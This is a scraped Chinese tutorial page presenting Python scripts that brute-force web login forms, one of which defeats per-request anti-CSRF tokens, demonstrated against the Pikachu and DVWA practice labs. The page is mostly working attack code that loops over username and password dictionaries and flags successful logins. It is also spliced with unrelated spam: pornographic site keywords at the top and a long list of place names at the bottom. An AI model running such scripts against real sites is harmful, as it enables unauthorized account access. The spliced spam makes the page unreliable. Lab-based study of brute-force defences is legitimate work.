最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實現(xiàn)破解網(wǎng)站登錄密碼(帶token驗證)

 更新時間:2022年02月07日 16:13:12   作者:CVE-檸檬i  
這篇文章主要為大家介紹一個Python暴力破解網(wǎng)站登錄密碼腳本(帶token驗證),文中的過程講解詳細(xì),對我們學(xué)習(xí)Python有一定的幫助,感興趣的可以學(xué)習(xí)一下

前言

上一篇暴力破解文章:一個簡單的Python暴力破解網(wǎng)站登錄密碼腳本

測試靶機(jī)為Pikachu漏洞練習(xí)平臺暴力破解模塊下的 “token防爆破?”

春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個腳本的起因是因為burp設(shè)置帶token的暴力破解我只會用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會了,所以就干脆把之前寫的腳本加了點東西實現(xiàn)這個功能了,到時候有空再學(xué)學(xué)多線程,爆破速度就更快了。

關(guān)鍵代碼解釋

設(shè)置請求頭

5~11行:指定url地址和請求頭,user_token設(shè)置首次發(fā)送請求包時的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

get_token函數(shù)獲取token值

13~16行:這個函數(shù)返回從響應(yīng)包中獲取的token

在http響應(yīng)包中有一個隱藏的標(biāo)簽里面有token值:

<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />

第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    user_token = soup.select('input[name="token"]')[0]['value']
    return user_token

完整代碼

from bs4 import BeautifulSoup
import requests
from requests.models import Response

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"} ?# 代理設(shè)置,方便burp抓包查看和調(diào)試
header = {
? ? 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
? ? 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

def get_token(r):
? ? soup = BeautifulSoup(r.text, 'html.parser')
? ? user_token = soup.select('input[name="token"]')[0]['value']
? ? return user_token

if __name__ == "__main__":
? ? f = open('result.csv', 'w') ? ? #把爆破結(jié)果儲存到文件里,這里為csv格式
? ? f.write('用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') ? ?#給文件設(shè)置標(biāo)題

? ? #遍歷字典文件,Cluster bomb 暴力破解
? ? for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
? ? ? ? for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
? ? ? ? ? ? username = admin.strip()
? ? ? ? ? ? password = line.strip()
? ? ? ? ? ? payload = { ? ? #payload為POST的數(shù)據(jù)
? ? ? ? ? ? ? ? 'username': username,
? ? ? ? ? ? ? ? 'password': password,
? ? ? ? ? ? ? ? 'token': user_token,
? ? ? ? ? ? ? ? 'submit': 'Login'
? ? ? ? ? ? }

? ? ? ? ? ? Response = requests.post(url, data=payload, headers=header)
? ? ? ? ? ? result = username + ',' + password + ',' + str(len(Response.text)) ?#用戶名密碼以及響應(yīng)包長度

? ? ? ? ? ? print(result) ? ? ? ? ? #輸出到終端
? ? ? ? ? ? f.write(result + '\n') ?#輸出到文件
? ? ? ? ? ? user_token = get_token(Response) ? ?#調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的token
? ? print('\n---完成---\n')
? ? f.close()

運行結(jié)果

查看保存的文件,查看包長度與其他不一樣的數(shù)據(jù)

這里csv不會顯示前綴會自動去掉首位0,可以把文件改成txt格式就正常顯示了

嘗試登陸一下,登錄成功。

補充

下面小編為大家補充了另外兩個利用Python實現(xiàn)破解網(wǎng)站登錄密碼的示例代碼,希望對大家有所幫助

方法一:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('狀態(tài)碼' + ',' + '用戶名' + ',' + '密碼' + ',' + '包長度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

方法二:

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理設(shè)置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

以上就是Python實現(xiàn)破解網(wǎng)站登錄密碼(帶token驗證)的詳細(xì)內(nèi)容,更多關(guān)于Python破解網(wǎng)站登錄密碼的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

最新評論

威信县| 宣威市| 峨眉山市| 崇礼县| 天门市| 措美县| 九龙城区| 罗平县| 建瓯市| 黔南| 丰台区| 麻栗坡县| 额敏县| 嘉定区| 阜新市| 谢通门县| 资兴市| 耒阳市| 普兰店市| 中宁县| 贵州省| 洮南市| 土默特右旗| 封丘县| 鹤山市| 读书| 从化市| 樟树市| 上饶县| 六盘水市| 临沂市| 收藏| 台北市| 西吉县| 遂宁市| 封丘县| 五河县| 香港| 武穴市| 湘潭市| 南汇区|